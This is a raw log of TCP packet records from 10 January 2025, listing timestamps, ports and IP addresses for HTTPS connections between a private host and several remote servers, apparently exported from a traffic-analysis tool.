Jan 10, 2025 18:37:43.788321972 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.788333893 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.788386106 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.788424969 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.788459063 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.789051056 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.789110899 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.789144993 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.789181948 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.789211035 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.789371014 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.789822102 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.791666985 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.791699886 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.791706085 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.791718960 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.791872978 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.791909933 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.791923046 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.791960001 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.795746088 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.795818090 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.795897007 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.795928001 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.795985937 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.796060085 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.796068907 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.799479008 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.799514055 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.799544096 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.799566031 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.799583912 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.799597025 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.821774960 CET	49730	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:43.842322111 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.851840019 CET	443	49735	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.851880074 CET	443	49735	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.851926088 CET	49735	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.851927042 CET	443	49735	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.851960897 CET	443	49735	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.851990938 CET	49735	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.851999044 CET	443	49735	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.852032900 CET	49735	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.852078915 CET	443	49735	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.852132082 CET	49735	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.852138042 CET	443	49735	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.852185011 CET	49735	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.852262974 CET	443	49735	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.852308035 CET	49735	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.852590084 CET	49735	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.852601051 CET	443	49735	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.878818989 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.878950119 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.879000902 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.879023075 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.879110098 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.879184008 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.879232883 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.879236937 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.879257917 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.879288912 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.879338026 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.879698992 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.879717112 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.881654024 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.881704092 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.881721973 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.881721973 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.881743908 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.881783009 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.881783009 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.881808996 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.882612944 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.882693052 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.882708073 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.882766962 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.882787943 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.882910967 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.882961035 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.882999897 CET	443	49734	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.883024931 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.883075953 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.986713886 CET	443	49729	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:43.986795902 CET	443	49729	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:43.986860037 CET	443	49729	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:43.986869097 CET	49729	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:43.986912966 CET	49729	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:43.988245010 CET	49729	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:43.988269091 CET	443	49729	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:43.991341114 CET	443	49730	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:43.991439104 CET	443	49730	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:43.991486073 CET	49730	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:43.992692947 CET	49730	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:43.992713928 CET	443	49730	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.002728939 CET	49741	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.002762079 CET	443	49741	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.002827883 CET	49741	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.002862930 CET	49742	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.002907991 CET	443	49742	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.002988100 CET	49742	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.003163099 CET	49741	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.003175020 CET	443	49741	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.003376961 CET	49742	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.003388882 CET	443	49742	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.379393101 CET	443	49737	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.434158087 CET	49737	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.553399086 CET	49737	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.553411961 CET	443	49737	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.554368973 CET	443	49737	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.606376886 CET	49737	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.606550932 CET	443	49737	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.607527971 CET	49737	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.651324034 CET	443	49737	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.788587093 CET	443	49737	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.788636923 CET	443	49737	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.788717985 CET	443	49737	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.788738012 CET	49737	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.790802002 CET	49737	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.805784941 CET	49737	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.805814028 CET	443	49737	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.823537111 CET	443	49741	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.856432915 CET	49741	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.856461048 CET	443	49741	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.857884884 CET	443	49741	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.857947111 CET	49741	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.858342886 CET	49741	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.858417034 CET	443	49741	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.859150887 CET	49741	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.859162092 CET	443	49741	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.868779898 CET	49745	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.868820906 CET	443	49745	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.868887901 CET	49745	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.869338036 CET	49745	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.869353056 CET	443	49745	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.889653921 CET	443	49742	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.890351057 CET	49742	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.890388966 CET	443	49742	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.892621040 CET	443	49742	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.892694950 CET	49742	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.893171072 CET	49742	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.893265963 CET	443	49742	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.893470049 CET	49742	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.893485069 CET	443	49742	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:44.901169062 CET	49741	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:44.948141098 CET	49742	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:45.089829922 CET	443	49741	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.089919090 CET	443	49741	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.089972019 CET	49741	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:45.089998007 CET	443	49741	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.090013027 CET	443	49741	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.090044022 CET	49741	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:45.090071917 CET	49741	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:45.091726065 CET	49741	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:45.091741085 CET	443	49741	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.153794050 CET	443	49742	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.153930902 CET	443	49742	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.154167891 CET	49742	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:45.205173969 CET	49742	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:45.205214977 CET	443	49742	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.678771019 CET	443	49745	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.679335117 CET	49745	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:45.679356098 CET	443	49745	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.679707050 CET	443	49745	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.680474997 CET	49745	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:45.680543900 CET	443	49745	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.681142092 CET	49745	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:45.727340937 CET	443	49745	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.945657015 CET	443	49745	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.945702076 CET	443	49745	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.945780039 CET	443	49745	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:45.945830107 CET	49745	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:45.945858955 CET	49745	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:46.045523882 CET	49745	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:46.045561075 CET	443	49745	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:48.030879974 CET	443	49718	142.250.185.228	192.168.2.11
Jan 10, 2025 18:37:48.030949116 CET	443	49718	142.250.185.228	192.168.2.11
Jan 10, 2025 18:37:48.031002998 CET	49718	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:37:49.892920971 CET	49718	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:37:49.892952919 CET	443	49718	142.250.185.228	192.168.2.11
Jan 10, 2025 18:37:57.883505106 CET	49757	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:37:57.883550882 CET	443	49757	104.21.96.1	192.168.2.11
Jan 10, 2025 18:37:57.883618116 CET	49757	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:37:57.883816004 CET	49757	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:37:57.883831024 CET	443	49757	104.21.96.1	192.168.2.11
Jan 10, 2025 18:37:58.344283104 CET	443	49757	104.21.96.1	192.168.2.11
Jan 10, 2025 18:37:58.344580889 CET	49757	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:37:58.344609976 CET	443	49757	104.21.96.1	192.168.2.11
Jan 10, 2025 18:37:58.346688032 CET	443	49757	104.21.96.1	192.168.2.11
Jan 10, 2025 18:37:58.346755981 CET	49757	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:37:58.347954988 CET	49757	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:37:58.348057985 CET	443	49757	104.21.96.1	192.168.2.11
Jan 10, 2025 18:37:58.348234892 CET	49757	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:37:58.348242044 CET	443	49757	104.21.96.1	192.168.2.11
Jan 10, 2025 18:37:58.387758017 CET	49757	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:37:59.078059912 CET	443	49757	104.21.96.1	192.168.2.11
Jan 10, 2025 18:37:59.078175068 CET	443	49757	104.21.96.1	192.168.2.11
Jan 10, 2025 18:37:59.078224897 CET	49757	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:37:59.080933094 CET	49757	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:37:59.080950022 CET	443	49757	104.21.96.1	192.168.2.11
Jan 10, 2025 18:37:59.114737988 CET	49758	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:37:59.114794016 CET	443	49758	104.21.64.1	192.168.2.11
Jan 10, 2025 18:37:59.114960909 CET	49758	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:37:59.115345001 CET	49758	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:37:59.115362883 CET	443	49758	104.21.64.1	192.168.2.11
Jan 10, 2025 18:37:59.573848963 CET	443	49758	104.21.64.1	192.168.2.11
Jan 10, 2025 18:37:59.574208021 CET	49758	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:37:59.574237108 CET	443	49758	104.21.64.1	192.168.2.11
Jan 10, 2025 18:37:59.575267076 CET	443	49758	104.21.64.1	192.168.2.11
Jan 10, 2025 18:37:59.575333118 CET	49758	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:37:59.576431990 CET	49758	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:37:59.576466084 CET	49758	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:37:59.576494932 CET	443	49758	104.21.64.1	192.168.2.11
Jan 10, 2025 18:37:59.576570988 CET	49758	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:37:59.576581955 CET	443	49758	104.21.64.1	192.168.2.11
Jan 10, 2025 18:37:59.576591969 CET	49758	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:37:59.576630116 CET	49758	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:37:59.576999903 CET	49759	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:37:59.577059984 CET	443	49759	104.21.64.1	192.168.2.11
Jan 10, 2025 18:37:59.577115059 CET	49759	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:37:59.577330112 CET	49759	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:37:59.577346087 CET	443	49759	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:00.037502050 CET	443	49759	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:00.037858009 CET	49759	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:00.037890911 CET	443	49759	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:00.039037943 CET	443	49759	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:00.039107084 CET	49759	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:00.039999962 CET	49759	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:00.040076017 CET	443	49759	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:00.040566921 CET	49759	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:00.040580034 CET	443	49759	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:00.093756914 CET	49759	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:00.614687920 CET	443	49759	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:00.614808083 CET	443	49759	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:00.614876032 CET	49759	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:00.616935968 CET	49759	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:00.616971016 CET	443	49759	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:09.737467051 CET	49760	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:09.737526894 CET	443	49760	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:09.737615108 CET	49760	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:09.738008022 CET	49760	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:09.738024950 CET	443	49760	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:10.191670895 CET	443	49760	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:10.192059040 CET	49760	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:10.192095041 CET	443	49760	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:10.192465067 CET	443	49760	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:10.192761898 CET	49760	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:10.192817926 CET	443	49760	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:10.192910910 CET	49760	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:10.235327959 CET	443	49760	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:10.726682901 CET	443	49760	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:10.726830006 CET	443	49760	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:10.726912022 CET	49760	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:10.840023041 CET	49760	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:10.840059042 CET	443	49760	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:10.885829926 CET	49761	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:10.885869026 CET	443	49761	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:10.886342049 CET	49761	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:10.887234926 CET	49761	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:10.887243986 CET	443	49761	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:11.345813036 CET	443	49761	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:11.346138954 CET	49761	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:11.346154928 CET	443	49761	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:11.347596884 CET	443	49761	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:11.347676039 CET	49761	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:11.348143101 CET	49761	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:11.348216057 CET	49761	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:11.348216057 CET	49761	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:11.348225117 CET	443	49761	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:11.348287106 CET	49761	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:11.348536015 CET	49762	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:11.348576069 CET	443	49762	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:11.348639965 CET	49762	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:11.348886013 CET	49762	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:11.348901033 CET	443	49762	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:11.820795059 CET	443	49762	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:11.821193933 CET	49762	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:11.821218967 CET	443	49762	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:11.821693897 CET	443	49762	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:11.821996927 CET	49762	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:11.822082043 CET	443	49762	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:11.822137117 CET	49762	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:11.863332033 CET	443	49762	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:11.870182991 CET	49762	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:12.126687050 CET	443	49762	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:12.126787901 CET	443	49762	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:12.126884937 CET	49762	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:12.128031015 CET	49762	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:12.128047943 CET	443	49762	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:12.136893034 CET	49763	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:12.136929035 CET	443	49763	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:12.137005091 CET	49763	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:12.137231112 CET	49763	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:12.137247086 CET	443	49763	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:12.967926025 CET	443	49763	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:12.968286037 CET	49763	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:12.968317032 CET	443	49763	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:12.969425917 CET	443	49763	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:12.969510078 CET	49763	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:12.969518900 CET	443	49763	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:12.969569921 CET	49763	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:12.970598936 CET	49763	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:12.970659971 CET	443	49763	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:12.970871925 CET	49763	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:12.970879078 CET	443	49763	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:13.012449980 CET	49763	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:13.233079910 CET	443	49763	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:13.233180046 CET	443	49763	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:13.233263969 CET	49763	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:13.367198944 CET	49763	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:13.367233038 CET	443	49763	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:13.447396040 CET	49764	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:13.447443962 CET	443	49764	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:13.447508097 CET	49764	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:13.447719097 CET	49764	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:13.447731972 CET	443	49764	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:14.271339893 CET	443	49764	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:14.271653891 CET	49764	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:14.271672010 CET	443	49764	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:14.272062063 CET	443	49764	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:14.272414923 CET	49764	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:14.272468090 CET	443	49764	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:14.272566080 CET	49764	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:14.315325022 CET	443	49764	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:14.556184053 CET	443	49764	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:14.556806087 CET	49764	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:14.556840897 CET	443	49764	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:14.556893110 CET	49764	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:18.741446972 CET	49765	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:18.741502047 CET	443	49765	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:18.741579056 CET	49765	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:18.742000103 CET	49765	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:18.742017031 CET	443	49765	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:19.312171936 CET	443	49765	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:19.312515020 CET	49765	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:19.312546015 CET	443	49765	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:19.312899113 CET	443	49765	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:19.313319921 CET	49765	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:19.313363075 CET	49765	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:19.313369036 CET	443	49765	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:19.313399076 CET	443	49765	104.21.96.1	192.168.2.11
